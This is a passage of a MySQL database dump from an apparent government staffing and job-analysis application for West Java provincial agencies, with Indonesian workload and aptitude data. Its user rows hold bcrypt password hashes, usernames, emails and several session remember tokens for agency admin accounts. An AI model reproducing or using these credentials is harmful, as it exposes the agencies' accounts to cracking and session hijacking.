(27, 'Dinas Koperasi dan Usaha Kecil', 'admdkuk', 'admdkuk@sipeg.com', '$2y$10$HAXdIxl/YqjwaOX7VQprKOZzSgH9m4lQmZEhMXCU8zCkAhhTaciUS', 2, NULL, '2018-12-11 06:08:04', '2018-12-11 06:08:04'),
(28, 'Dinas Penanaman Modal dan Perijinan Terpadu Satu Pintu', 'admdpmptsp', 'admdpmptsp@sipeg.com', '$2y$10$nsyy0675relioM45tpFlG.WBHLgX9DhS4CVaCcCzc1VRIlArOsYR6', 2, NULL, '2018-12-11 06:08:59', '2018-12-11 06:08:59'),
(29, 'Dinas Pemuda dan Olahraga', 'admdpo', 'admdpo@sipeg.com', '$2y$10$UdiJ2.DX/GZrPYPrJYZjHuuqTCxcHNWOd5t.ZajrZEENKaO/n1/Ge', 2, NULL, '2018-12-11 06:09:49', '2018-12-11 06:09:49'),
(30, 'Dinas Perpustakaan dan Kearsipan Daerah', 'admdpkd', 'admdpkd@sipeg.com', '$2y$10$RAh96GA4w/Qgo35JHoZZtO5bSOwsn.x.Z2FXWlakijNPVlvjPOa/y', 2, NULL, '2018-12-11 06:10:23', '2018-12-11 06:10:23'),
(31, 'Dinas Tenaga Kerja dan Transmigrasi', 'admdtkt', 'admdtkt@sipeg.com', '$2y$10$AFKGgtL2talZicFvI3SeW.pRcbK9/KYAytL00xPmyWB9RS/Hf.I5O', 2, '8NCK4hO93F95vS6z1v48to0ltCOehi9docU1QJls7xVkFEZczpojzturxDSW', '2018-12-11 06:11:05', '2018-12-11 06:11:05'),
(32, 'Dinas Ketahanan Pangan dan Peternakan', 'admdkpp', 'admdkpp@sipeg.com', '$2y$10$JYu7t7PP2FtxMr2XIH.pveRsTxLtT238QDFvLvj/Mo7Nt7d4PJ24u', 2, NULL, '2018-12-11 06:14:08', '2018-12-11 06:14:08'),
(33, 'Dinas Pariwisata dan Kebudayaan', 'admdpk', 'admdpk@sipeg.com', '$2y$10$RQqqW.qCsBK.RNrjoglKGu338hUaKVRdZh3Q4GSWe8MipMrKqp.ZW', 2, NULL, '2018-12-11 06:15:01', '2018-12-11 06:15:01'),
(34, 'Dinas Kelautan Dan Perikanan', 'admdkp', 'admdkp@sipeg.com', '$2y$10$/YQiSjDNbJSs/3vHT6LhPuAaCAe9zbQ5ciH5MujzrbGG6MreCzbmC', 2, 'ZDFBEVjv5OEXrh3GPu2F5f88PdVF6vUhPGQjq5QkgaLTIbjeJigngjcpTS7g', '2018-12-11 06:15:41', '2018-12-11 06:15:41'),
(35, 'Dinas Tanaman Pangan dan Hortikultura', 'admdtph', 'admdtph@sipeg.com', '$2y$10$ndLqzP2MVsy7Rp75kz5FYuQ/nnRNSgkYkwXHKh7b0THU.czKIe/XW', 2, NULL, '2018-12-11 06:17:47', '2018-12-11 06:17:47'),
(36, 'Dinas Perkebunan', 'admdperk', 'admdperk@sipeg.com', '$2y$10$RuPIxlemd1Z1A.LIQ/ucW.D3rUR7ekh678sSy913Cws/pip7Ui0ju', 2, 'N1qBXDvoI8EvWQb2hV77lBU2VTQYeRxOLeg9wN8AEa9TvoqxFtJMzlg4eVsL', '2018-12-11 06:19:39', '2018-12-11 06:19:39'),
(37, 'Dinas Kehutanan', 'admdkh', 'admdkh@sipeg.com', '$2y$10$vj3Gx6zNhGo1nInMYnZGPOCUh00w5T2Ydl6XZqej.9Wjsrtxm2wIG', 2, '782ZvjA3DQZ5hhi1ZoBTHpfXIsJqfcJdEL32T4U5a5UBwCZVz8AwfhG9Jv0B', '2018-12-11 06:20:31', '2018-12-11 06:20:31'),
(38, 'Dinas Energi dan Sumber Daya Mineral', 'admdesdm', 'admdesdm@sipeg.com', '$2y$10$GSfs/RgSd8uHjWPPpyhuZOEgCTVJHoWV.3GxE4SD9kX9GInaJS31y', 2, NULL, '2018-12-11 06:21:20', '2018-12-11 06:21:20'),
(39, 'Dinas Perindustrian dan Perdagangan', 'admdpper', 'admdpper@sipeg.com', '$2y$10$DFfJqSOZar3vY4eX/pa7suAszvtveJ17BcnrlaQM3BRUqdujxyjF6', 2, 'wOBvPcZ37pGWaAGoIwCFKrZjBVUrri1XuzfONjqUXWMvJHodvjC2LFZ9AElf', '2018-12-11 06:39:03', '2018-12-11 06:39:03'),
(40, 'Dinas Kependudukan dan Pencatatan Sipil', 'admdkps', 'admdkps@sipeg.com', '$2y$10$uLmc/AsoDUIPIiEhVyZWY.dFi94/GYaiU.5BGrjZ0/zePRtw99o4q', 2, NULL, '2018-12-11 06:39:44', '2018-12-11 06:39:44'),
(41, 'Badan Perencanaan dan Pembangunan Daerah', 'admbappd', 'admbappd@sipeg.com', '$2y$10$aoyJI7n/bacBW5H2MSc2Vuiq2jmyGMTIGWvmQzx4NtBE9Cv2crDx.', 2, NULL, '2018-12-11 06:41:07', '2018-12-11 06:41:07'),
(42, 'Badan Kepegawaian Daerah', 'admbakd', 'admbakd@sipeg.com', '$2y$10$jmyG6zL8nhFNNegTWSfrJu1xWYA1Pk6U3HQvcufBQUYANV6g6CXlK', 2, NULL, '2018-12-11 06:42:49', '2018-12-11 06:42:49'),
(43, 'Badan Pengembangan Sumber Daya Manusia', 'admbapsdm', 'admbapsdm@sipeg.com', '$2y$10$5mA9vHWHJVw6gC5V3dbdRu9xKEqKpHYWZs49r7q0bJ434gviE9iFu', 2, NULL, '2018-12-11 06:46:35', '2018-12-11 06:46:35'),
(44, 'Badan Penelitian dan Pengembangan Daerah', 'admbappda', 'admbappda@sipeg.com', '$2y$10$8iBfb2lFrbz.ciGkMW4Q1.1gC/4jWqcQIJMq47jZ269qNjKxIEkSS', 2, NULL, '2018-12-11 06:48:09', '2018-12-11 06:48:09'),
(45, 'Badan Pengelolaan Keuangan dan Aset Daerah', 'admbapkad', 'admbapkad@sipeg.com', '$2y$10$CEeLW76rdb104UGyhmD44eDl/ilhgoHF/Ou1Xdi4uKoxqKdU3rps.', 2, NULL, '2018-12-11 06:48:41', '2018-12-11 06:48:41'),
(46, 'Dinas Pendapatan Daerah', 'admbapenda', 'admbapenda@sipeg.com', '$2y$10$LdJcMEOj9WTdaYwX389c0ujxEEIrEs890/1RhKQQ9f1Bos7FHEGmK', 2, NULL, '2018-12-11 06:49:18', '2018-12-11 06:49:18'),
(47, 'Badan Penghubung Pemerintah Daerah Provinsi Jawa Barat', 'admbappdpjb', 'admbappdpjb@sipeg.com', '$2y$10$iY1X3JrHaJED0iTv32yO2e1CHXzhwchY89kBPH5cBLDtUtkyrjak2', 2, 'MnXuv337fmhjiKzPTmT6prEcmrapOU3tizB2Wmxc1GpCFZvoq85WXLnQiGl4', '2018-12-11 06:50:06', '2018-12-11 06:50:06'),
(48, 'Badan Kesatuan Bangsa dan Politik', 'admbakbp', 'admbakbp@sipeg.com', '$2y$10$I4fOuaoTkaTBOT6DeAss0eG0NWFDinDY8xIycOGgfcynuM1/Ot2PO', 2, NULL, '2018-12-11 06:50:41', '2018-12-11 06:50:41'),
(49, 'Badan Penanggulangan Bencana Daerah', 'admbapbd', 'admbapbd@sipeg.com', '$2y$10$xAf5OqjQ3ecFMRSZnz7sP.ARK1Jn/84.CWYFGixtmjGQUSHtfy93a', 2, '9R0K5t7j9N3mBj4QrpnnBxYkHNbCoCN8Ra9NbFZOC7SLThbgCQqYwx0M8uKT', '2018-12-11 06:51:32', '2018-12-11 06:51:32'),
(50, 'Badan Koordinasi Pemerintahan dan Pembangunan Wilayah I', 'admbakoor1', 'admbakoor1@sipeg.com', '$2y$10$bkl8puIZH883t0x75YzERuKiDcfw.dkwReVoYNY3XY4F733SqTUGy', 2, NULL, '2018-12-11 06:52:24', '2018-12-11 06:52:24'),
(51, 'Badan Koordinasi Pemerintahan dan Pembangunan Wilayah II', 'admbakoor2', 'admbakoor2@sipeg.com', '$2y$10$AN1kHRBEuI1ug51rHNmGLOn3l5V7mS07QlD2rGi1/YIOMp/DqlZbK', 2, NULL, '2018-12-11 06:53:28', '2018-12-11 06:53:28'),
(52, 'Badan Koordinasi Pemerintahan dan Pembangunan Wilayah III', 'admbakoor3', 'admbakoor3@sipeg.com', '$2y$10$ZFih0TLYgAts1Jyd8dR.EuUwkJIKMJAH5Vn/X1Jk9VkzMTPZx0rBa', 2, NULL, '2018-12-11 06:54:10', '2018-12-11 06:54:10'),
(53, 'Badan Koordinasi Pemerintahan dan Pembangunan Wilayah IV', 'admbakoor4', 'admbakoor4@sipeg.com', '$2y$10$xS1hvy4WFg0row4jXVKJw.42v/9I.lPaHSi179rjuPGX5xppLFRC.', 2, NULL, '2018-12-11 06:55:30', '2018-12-11 06:55:30');

-- --------------------------------------------------------

--
-- Table structure for table `user_level`
--

CREATE TABLE `user_level` (
  `level_id` int(10) UNSIGNED NOT NULL,
  `level` varchar(255) COLLATE utf8mb4_unicode_ci NOT NULL,
  `created_at` timestamp NULL DEFAULT NULL,
  `updated_at` timestamp NULL DEFAULT NULL
) ENGINE=MyISAM DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;

--
-- Dumping data for table `user_level`
--

INSERT INTO `user_level` (`level_id`, `level`, `created_at`, `updated_at`) VALUES
(1, 'Super Admin', NULL, NULL),
(2, 'Admin', NULL, NULL);

-- --------------------------------------------------------

--
-- Table structure for table `workload_analysis`
--

CREATE TABLE `workload_analysis` (
  `workload_id` int(10) UNSIGNED NOT NULL,
  `position_id` int(10) UNSIGNED NOT NULL,
  `organization_id` int(10) UNSIGNED NOT NULL,
  `overview` text COLLATE utf8mb4_unicode_ci DEFAULT NULL,
  `created_at` timestamp NULL DEFAULT NULL,
  `updated_at` timestamp NULL DEFAULT NULL,
  `is_approve` int(11) DEFAULT 0 COMMENT '0: Non , 1: Approve, 2:Reject'
) ENGINE=MyISAM DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;

--
-- Dumping data for table `workload_analysis`
--

INSERT INTO `workload_analysis` (`workload_id`, `position_id`, `organization_id`, `overview`, `created_at`, `updated_at`, `is_approve`) VALUES
(2, 62, 37, 'Memimpin, mengkoordinasikan, membina, mengendalikan, dan menyelenggarakan urusan pemerintahan di bidang pertanian sub urusan perkebunan, meliputi produksi perkebunan, sumber daya perkebunan, pengernbangan dan perlindungan perkebunan serta pengolahan, pemasalan dan usaha perkebunan yang menjadi kewenangan provinsi, melaksanakan tugas dekonsentrasi dan melaksanakan tugas pembantuan sesuai bidang tugasnya.', '2018-12-11 18:04:06', '2018-12-11 18:48:34', 0),
(3, 42, 17, NULL, '2018-12-11 18:04:56', '2018-12-11 18:04:56', 0),
(4, 10, 5, 'Menyelenggarakan perumusan kebijakan umum, pengkoordinasian administratif terhadap pelaksanaan tugas Perangkat Daerah serta pelayanan administratif bidang organisasi, meliputi kelembagaan, ketatalaksanaan serta kinerja organisasi dan reformasi birokrasi yang menjadi kewenangan Provinsi, menyelenggarakan tugas dekonsentrasi serta melaksanakan tugas pembantuan sesuai bidang tugasnya berdasarkan Ketentuan Peraturan Perundang-undangan.', '2018-12-11 18:05:41', '2018-12-11 18:05:41', 0),
(10, 34, 9, 'Menyelenggarakan perumusan bahan kebijakan umum, melakukan koordinasi, pembinaan dan pengendalian, pengembangan kerjasama Pemerintah Provinsi bidang Penanaman Modal dan PTSP, Investasi Pemerintah Daerah, Perencanaan, Ekonomi Makro, Ketatausahaan, Infrastruktur, BUMD dan Koperasi Usaha Kecil sesuai ketentuan yang berlaku dan arahan pimpinan', '2018-12-11 19:08:55', '2018-12-11 19:08:55', 0),
(5, 80, 49, 'Merencanakan program, membagi tugas, memberi petunjuk, memantau dan mengevaluasi pelaksanaan tugas bawahan, mengkaji, membuat telaahan staf   serta mengendalikan pelaksanaan tugas Sekretariat, meliputi penyusunan perencanaan dan  program, administrasi keuangan,  kepegawaian dan umum.', '2018-12-11 18:15:05', '2018-12-11 18:15:05', 0),
(14, 67, 42, 'menyelenggarakan pengkajian kebijakan teknis bidang perencanaan pembangunan daerah, mengkoordinasikan, membina, mengendalikan, memfasilitasi dan menyelenggarakan urusan pemerintahan daerah provinsi dibidang perencanaan pembangunan daerah, meliputi aspek fisik, ekonomi, sosial dan budaya, pemerintahan, pendanaan pembangunan, pengendalian dan evaluasi, mengkoordinasikan dan mensinkronisasikan perencanaan pembangunan daerah kabupaten dan daerah kota, serta membina dan mengendalikan pelaksanaan tugas pokok dan fungsi Badan', '2018-12-14 05:28:46', '2018-12-14 05:30:51', 0);

-- --------------------------------------------------------

--
-- Table structure for table `workload_detail`
--

CREATE TABLE `workload_detail` (
  `detail_id` int(10) UNSIGNED NOT NULL,
  `workload_id` int(10) UNSIGNED NOT NULL,
  `job_description` varchar(255) COLLATE utf8mb4_unicode_ci NOT NULL,
  `unit_of_results` varchar(255) COLLATE utf8mb4_unicode_ci NOT NULL,
  `completion_time` int(11) NOT NULL,
  `effection_worktime` double NOT NULL,
  `workload` varchar(255) COLLATE utf8mb4_unicode_ci NOT NULL,
  `employee_needed` double NOT NULL,
  `information` text COLLATE utf8mb4_unicode_ci NOT NULL,
  `created_at` timestamp NULL DEFAULT NULL,
  `updated_at` timestamp NULL DEFAULT NULL
) ENGINE=MyISAM DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;

--
-- Dumping data for table `workload_detail`
--

INSERT INTO `workload_detail` (`detail_id`, `workload_id`, `job_description`, `unit_of_results`, `completion_time`, `effection_worktime`, `workload`, `employee_needed`, `information`, `created_at`, `updated_at`) VALUES
(9, 4, 'Menyelenggarakan koordinasi dan pelayanan administratif bidang organisasi meliputi kelembagaan, ketatalaksanaan, kinerja organisasi dan reformasi birokrasi', 'Dokumen', 360, 72000, '50', 0.25, '-', '2018-12-11 18:05:41', '2018-12-11 18:05:41'),
(10, 4, 'Menyelenggarakan pengelolaan dan pengembangan kelembagaan', 'Dokumen', 360, 72000, '50', 0.25, '-', '2018-12-11 18:05:41', '2018-12-11 18:05:41'),
(11, 4, 'Menyelenggarakan pengelolaan dan pengembangan ketatalaksanaan', 'Dokumen', 360, 72000, '50', 0.25, '-', '2018-12-11 18:05:41', '2018-12-11 18:05:41'),
(12, 4, 'Menyelenggarakan pengelolaan dan pengembangan kinerja organisasi dan reformasi birokrasi', 'Dokumen', 360, 72000, '50', 0.25, '-', '2018-12-11 18:05:41', '2018-12-11 18:05:41'),
(13, 4, 'Menyelenggarakan pembinaan dan pengendalian bidang organisasi, yang menjadi kewenangan Daerah Provinsi', 'Dokumen', 300, 72000, '50', 0.20833333333333334, '-', '2018-12-11 18:05:41', '2018-12-11 18:05:41'),
(14, 4, 'Menyelenggarakan fasilitasi Pelayanan Informasi Publik (PIP)', 'Dokumen', 120, 72000, '3', 0.005, '-', '2018-12-11 18:05:41', '2018-12-11 18:05:41'),
(15, 4, 'Menyelenggarakan pengkajian bahan dan pelaksanaan Sistem Pengendalian Internal Pemerintahan (SPIP)', 'Dokumen', 120, 72000, '3', 0.005, '-', '2018-12-11 18:05:41', '2018-12-11 18:05:41'),
(16, 4, 'Menyelenggarakan koordinasi dan fasilitasi tindak lanjut Laporan Hasil Pemeriksaan lingkup Biro', 'Dokumen', 120, 72000, '3', 0.005, '-', '2018-12-11 18:05:41', '2018-12-11 18:05:41');

-- --------------------------------------------------------

--
-- Table structure for table `work_envs`
--

CREATE TABLE `work_envs` (
  `id` int(10) UNSIGNED NOT NULL,
  `aspect` varchar(255) COLLATE utf8mb4_unicode_ci DEFAULT NULL,
  `factor` varchar(255) COLLATE utf8mb4_unicode_ci DEFAULT NULL,
  `analysis_id` int(10) UNSIGNED NOT NULL,
  `created_at` timestamp NULL DEFAULT NULL,
  `updated_at` timestamp NULL DEFAULT NULL
) ENGINE=MyISAM DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;

--
-- Dumping data for table `work_envs`
--

INSERT INTO `work_envs` (`id`, `aspect`, `factor`, `analysis_id`, `created_at`, `updated_at`) VALUES
(1, NULL, NULL, 18, '2019-01-31 07:04:18', '2019-01-31 07:04:18');

-- --------------------------------------------------------

--
-- Table structure for table `work_interests`
--

CREATE TABLE `work_interests` (
  `id` int(10) UNSIGNED NOT NULL,
  `kode` varchar(255) COLLATE utf8mb4_unicode_ci DEFAULT NULL,
  `description` varchar(255) COLLATE utf8mb4_unicode_ci DEFAULT NULL,
  `created_at` timestamp NULL DEFAULT NULL,
  `updated_at` timestamp NULL DEFAULT NULL
) ENGINE=MyISAM DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;

--
-- Dumping data for table `work_interests`
--

INSERT INTO `work_interests` (`id`, `kode`, `description`, `created_at`, `updated_at`) VALUES
(1, '1.a', 'Pilihan melakukan kegiatan - kegiatan yang berhubungan dengan benda-benda dan obyek-obyek', '2018-09-16 21:12:04', '2018-10-17 19:11:47'),
(2, '1.b', 'Pilihan melakukan kegiatan yang berhubungan dengan komunikasi data', '2018-10-17 19:10:39', '2018-10-17 19:10:39'),
(3, '2.a', 'Pilihan melakukan kegiatan yang berhubungan dengan orang dalam niaga', '2018-10-17 19:11:13', '2018-10-17 19:11:13'),
(4, '2.b', 'Pilihan melakukan kegiatan-kegiatan yang bersifat ilmiah dan teknis', '2018-10-17 19:12:23', '2018-10-17 19:12:23'),
(5, '3.a', 'Pilihan melakukan kegiatan-kegiatan rutin, konkrit dan teratur', '2018-10-17 19:13:07', '2018-10-17 19:13:07'),
(6, '3.b', 'Pilihan melakukan kegiatan yang bersifat abstrak dan kreatif', '2018-10-17 19:13:43', '2018-10-17 19:13:43'),
(7, '4.a', 'Pilihan melakukan kegiatan-kegiatan yang dianggap baik bagi orang lain', '2018-10-17 19:14:19', '2018-10-17 19:14:19'),
(8, '4.b', 'Pilihan melakukan kegiatan-kegiatan yang berhubungan mesin dan teknik', '2018-10-17 19:15:01', '2018-10-17 19:15:01'),
(9, '5.a', 'Pilihan melakukan kegiatan yang menghasilkan penghargaan dari pihak yang lain', '2018-10-17 19:15:40', '2018-10-17 19:15:40'),
(10, '5.b', 'Pilihan melakukan kegiatan yang menghasilkan kepuasan nyata dan dengan proses', '2018-10-17 19:16:27', '2018-10-17 19:16:27');

-- --------------------------------------------------------

--
-- Table structure for table `work_materials`
--

CREATE TABLE `work_materials` (
  `id` int(10) UNSIGNED NOT NULL,
  `material` varchar(255) COLLATE utf8mb4_unicode_ci DEFAULT NULL,
  `material_use` varchar(255) COLLATE utf8mb4_unicode_ci DEFAULT NULL,
  `analysis_id` int(10) UNSIGNED NOT NULL,
  `created_at` timestamp NULL DEFAULT NULL,
  `updated_at` timestamp NULL DEFAULT NULL
) ENGINE=MyISAM DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;

--
-- Dumping data for table `work_materials`
--

INSERT INTO `work_materials` (`id`, `material`, `material_use`, `analysis_id`, `created_at`, `updated_at`) VALUES
(1, NULL, NULL, 18, '2019-01-31 07:04:18', '2019-01-31 07:04:18'),
(2, NULL, NULL, 18, '2019-01-31 07:04:18', '2019-01-31 07:04:18'),
(3, NULL, NULL, 18, '2019-01-31 07:04:18', '2019-01-31 07:04:18'),
(4, NULL, NULL, 18, '2019-01-31 07:04:18', '2019-01-31 07:04:18');

-- --------------------------------------------------------

--
-- Table structure for table `work_performances`
--

CREATE TABLE `work_performances` (
  `id` int(10) UNSIGNED NOT NULL,
  `job_analysis_id` int(10) UNSIGNED NOT NULL,
  `unit_of_results` varchar(255) COLLATE utf8mb4_unicode_ci DEFAULT '0',
  `number_of_results` int(11) DEFAULT 0,
  `time_of_completion` int(11) DEFAULT 0,
  `created_at` timestamp NULL DEFAULT NULL,
  `updated_at` timestamp NULL DEFAULT NULL
) ENGINE=MyISAM DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;

--
-- Dumping data for table `work_performances`
--

INSERT INTO `work_performances` (`id`, `job_analysis_id`, `unit_of_results`, `number_of_results`, `time_of_completion`, `created_at`, `updated_at`) VALUES
(1, 1, 'ABC', 12, 300, '2018-09-16 22:30:22', '2018-09-16 22:30:22'),
(2, 3, 'Dokumen', 50, 360, '2018-10-29 23:24:37', '2018-10-29 23:24:37'),
(3, 3, 'Dokumen', 50, 360, '2018-10-29 23:24:37', '2018-10-29 23:24:37'),
(4, 3, 'Dokumen', 50, 360, '2018-10-29 23:24:37', '2018-10-29 23:24:37'),
(5, 3, 'Dokumen', 50, 360, '2018-10-29 23:24:37', '2018-10-29 23:24:37'),
(6, 3, 'Dokumen', 50, 300, '2018-10-29 23:24:37', '2018-10-29 23:24:37'),
(7, 3, 'Dokumen', 3, 120, '2018-10-29 23:24:37', '2018-10-29 23:24:37'),
(8, 3, 'Dokumen', 3, 120, '2018-10-29 23:24:37', '2018-10-29 23:24:37'),
(9, 3, 'Dokumen', 3, 120, '2018-10-29 23:24:37', '2018-10-29 23:24:37'),
(10, 4, 'Draft kebijakan bidang kelembagaan, ketatalaksanaan, kinerja organisasi dan reformasi birokrasi;', 50, 360, '2018-12-11 08:04:04', '2018-12-11 08:04:04'),
(11, 4, 'Draft kebijakan mengenai pembentukan dan/atau penataan bidang kelembagaan;', 50, 360, '2018-12-11 08:04:04', '2018-12-11 08:04:04'),
(12, 4, 'Draft kebijakan bidang ketatalaksanaan meliputi standar biaya, standar pelayanan, standar operasional prosedur;', 50, 360, '2018-12-11 08:04:04', '2018-12-11 08:04:04'),
(13, 4, 'Draft kebijakan bidang kinerja organisasi dan reformasi birokrasi;', 50, 360, '2018-12-11 08:04:04', '2018-12-11 08:04:04'),
(14, 4, 'Draft kebijakan bidang pembinaan dan pengendalian bidang organisasi, yang menjadi kewenangan Daerah Provinsi;', 50, NULL, '2018-12-11 08:04:04', '2018-12-11 08:04:04'),
(15, 4, 'Laporan Pelayanan Informasi Publik (PIP);', 3, NULL, '2018-12-11 08:04:04', '2018-12-11 08:04:04'),
(16, 4, 'Data Sistem Pengendalian Internal Pemerintahan (SPIP);', 3, NULL, '2018-12-11 08:04:04', '2018-12-11 08:04:04'),
(17, 4, 'Dokumen tindak lanjut Laporan Hasil Pemeriksaan lingkup Biro;', 3, NULL, '2018-12-11 08:04:04', '2018-12-11 08:04:04'),
(18, 5, 'TES', 100, 10, '2018-12-11 16:11:43', '2018-12-11 16:11:43'),
(19, 6, NULL, NULL, NULL, '2018-12-11 18:03:09', '2018-12-11 18:03:09'),
(20, 7, NULL, NULL, NULL, '2018-12-11 18:11:45', '2018-12-11 18:11:45'),
(21, 7, NULL, NULL, NULL, '2018-12-11 18:11:45', '2018-12-11 18:11:45'),
(22, 8, NULL, NULL, NULL, '2018-12-11 18:14:27', '2018-12-11 18:14:27'),
(23, 9, NULL, NULL, NULL, '2018-12-11 18:24:15', '2018-12-11 18:24:15'),
(24, 10, NULL, NULL, NULL, '2018-12-11 18:56:14', '2018-12-11 18:56:14'),
(25, 10, NULL, NULL, NULL, '2018-12-11 18:56:14', '2018-12-11 18:56:14'),
(26, 12, NULL, NULL, NULL, '2018-12-11 18:58:11', '2018-12-11 18:58:11'),
(27, 13, NULL, NULL, NULL, '2018-12-11 18:58:43', '2018-12-11 18:58:43'),
(28, 14, NULL, NULL, NULL, '2018-12-11 19:38:33', '2018-12-11 19:38:33'),
(29, 14, NULL, NULL, NULL, '2018-12-11 19:38:33', '2018-12-11 19:38:33'),
(30, 14, NULL, NULL, NULL, '2018-12-11 19:38:33', '2018-12-11 19:38:33'),
(31, 14, NULL, NULL, NULL, '2018-12-11 19:38:33', '2018-12-11 19:38:33'),
(32, 14, NULL, NULL, NULL, '2018-12-11 19:38:33', '2018-12-11 19:38:33'),
(33, 14, NULL, NULL, NULL, '2018-12-11 19:38:33', '2018-12-11 19:38:33'),
(34, 14, NULL, NULL, NULL, '2018-12-11 19:38:33', '2018-12-11 19:38:33'),
(35, 14, NULL, NULL, NULL, '2018-12-11 19:38:33', '2018-12-11 19:38:33'),
(36, 14, NULL, NULL, NULL, '2018-12-11 19:38:33', '2018-12-11 19:38:33'),
(37, 15, 'Dokumen', 12, 2880, '2018-12-11 19:46:35', '2018-12-11 19:46:35'),
(38, 16, 'Dokumen', 1, 300, '2018-12-11 19:54:27', '2018-12-11 19:54:27'),
(39, 16, NULL, NULL, NULL, '2018-12-11 19:54:27', '2018-12-11 19:54:27'),
(40, 18, NULL, NULL, NULL, '2018-12-11 20:17:01', '2018-12-11 20:17:01'),
(41, 18, NULL, NULL, NULL, '2018-12-11 20:17:01', '2018-12-11 20:17:01'),
(42, 18, NULL, NULL, NULL, '2018-12-11 20:17:01', '2018-12-11 20:17:01'),
(43, 18, NULL, NULL, NULL, '2018-12-11 20:17:01', '2018-12-11 20:17:01'),
(44, 20, 'Dokumen', 3, 180, '2018-12-11 20:27:44', '2018-12-11 20:27:44'),
(45, 21, NULL, NULL, NULL, '2018-12-11 20:57:34', '2018-12-11 20:57:34'),
(46, 23, NULL, NULL, NULL, '2018-12-19 00:33:34', '2018-12-19 00:33:34'),
(47, 23, NULL, NULL, NULL, '2018-12-19 00:33:34', '2018-12-19 00:33:34'),
(48, 23, NULL, NULL, NULL, '2018-12-19 00:33:34', '2018-12-19 00:33:34'),
(49, 24, NULL, NULL, NULL, '2018-12-26 06:19:17', '2018-12-26 06:19:17'),
(50, 24, NULL, NULL, NULL, '2018-12-26 06:19:17', '2018-12-26 06:19:17'),
(51, 24, NULL, NULL, NULL, '2018-12-26 06:19:17', '2018-12-26 06:19:17');

-- --------------------------------------------------------

--
-- Table structure for table `work_results`
--

CREATE TABLE `work_results` (
  `id` int(10) UNSIGNED NOT NULL,
  `analysis_id` int(10) UNSIGNED NOT NULL,
  `results` text COLLATE utf8mb4_unicode_ci DEFAULT NULL,
  `unit_of_results` varchar(255) COLLATE utf8mb4_unicode_ci DEFAULT NULL,
  `created_at` timestamp NULL DEFAULT NULL,
  `updated_at` timestamp NULL DEFAULT NULL
) ENGINE=MyISAM DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;

--
-- Dumping data for table `work_results`
--

INSERT INTO `work_results` (`id`, `analysis_id`, `results`, `unit_of_results`, `created_at`, `updated_at`) VALUES
(1, 18, NULL, NULL, '2019-01-31 07:04:18', '2019-01-31 07:04:18'),
(2, 18, NULL, NULL, '2019-01-31 07:04:18', '2019-01-31 07:04:18'),
(3, 18, NULL, NULL, '2019-01-31 07:04:18', '2019-01-31 07:04:18'),
(4, 18, NULL, NULL, '2019-01-31 07:04:18', '2019-01-31 07:04:18');

-- --------------------------------------------------------

--
-- Table structure for table `work_talents`
--

CREATE TABLE `work_talents` (
  `id` int(10) UNSIGNED NOT NULL,
  `kode` varchar(255) COLLATE utf8mb4_unicode_ci DEFAULT NULL,
  `description` varchar(255) COLLATE utf8mb4_unicode_ci DEFAULT NULL,
  `created_at` timestamp NULL DEFAULT NULL,
  `updated_at` timestamp NULL DEFAULT NULL
) ENGINE=MyISAM DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;

--
-- Dumping data for table `work_talents`
--

INSERT INTO `work_talents` (`id`, `kode`, `description`, `created_at`, `updated_at`) VALUES
(1, 'G : Inteligensia', 'kemampuan belajar secara umum', '2018-09-16 21:08:46', '2018-10-17 18:40:37'),
(2, 'V : Bakat Verbal', 'Kemampuan untuk memahami kata-kata dan penggunaannya secara tepat dan efektif', '2018-09-16 21:10:07', '2018-10-17 18:41:13'),
(3, 'N : Numerik', 'Kemampuan untuk melakukan operasi arithmatik secara tepat dan akurat', '2018-10-17 18:40:07', '2018-10-17 18:40:07'),
(4, 'S : Pandang Ruang', 'Kemampuan berfikir secara visual mengenai bentuk-bentuk geometris, untuk memahami gambar-gambar dari benda-benda 3 dimensi', '2018-10-17 18:42:20', '2018-10-17 18:42:20'),
(5, 'P : Penerapan Bentuk', 'Kemampuan menyerap perincian-perincian yang berkaitan dalam objek atau dalam gambar atau dalam bahan grafik', '2018-10-17 18:43:20', '2018-10-17 18:43:20'),
(6, 'Q : Ketelitian', 'Kemampuan menyerap perincian yang berkaitan dalam bahan verbal atau dalam tabel', '2018-10-17 18:44:28', '2018-10-17 18:44:28'),
(7, 'K : Koordinasi Motor', 'Kemampuan untuk mengkoordinir mata dan tangan secara cepat dan cermat dalam membuat gerakan yang cepat', '2018-10-17 18:45:29', '2018-10-17 18:45:29'),
(8, 'F : Kecekatan Jari', 'Kemampuan menggerakan jari jemari dengan mudah dan perlu keterampilan', '2018-10-17 18:46:07', '2018-10-17 18:46:07'),
(9, 'E : Koordinasi mata, tangan, kaki', 'Kemampuan menggerakan tangan dan kaki secara koordinatif satu sama lain sesuai dengan rangsangan penglihatan', '2018-10-17 18:47:12', '2018-10-17 18:47:12'),
(10, 'C : Membedakan Warna', 'Kemampuan memadukan atau membedakan berbagai warna yang asli, yang gemerlapan.', '2018-10-17 18:48:14', '2018-10-17 18:48:14'),
(11, 'M : Kecekatan Tangan', 'Kemampuan menggerakan tangan dengan mudah dan penuh keterampilan', '2018-10-17 18:49:26', '2018-10-17 18:49:26');

-- --------------------------------------------------------

--
-- Table structure for table `work_tempraments`
--

CREATE TABLE `work_tempraments` (
  `id` int(10) UNSIGNED NOT NULL,
  `kode` varchar(255) COLLATE utf8mb4_unicode_ci DEFAULT NULL,
  `description` varchar(255) COLLATE utf8mb4_unicode_ci DEFAULT NULL,
  `created_at` timestamp NULL DEFAULT NULL,
  `updated_at` timestamp NULL DEFAULT NULL
) ENGINE=MyISAM DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;

--
-- Dumping data for table `work_tempraments`
--

INSERT INTO `work_tempraments` (`id`, `kode`, `description`, `created_at`, `updated_at`) VALUES
(1, 'D', 'Kemampuan menyesuaikan diri menerima tanggung jawab untuk kegiatan memimpin, mengendalikan atau merencanakan', '2018-09-16 21:10:54', '2018-10-17 18:52:20'),
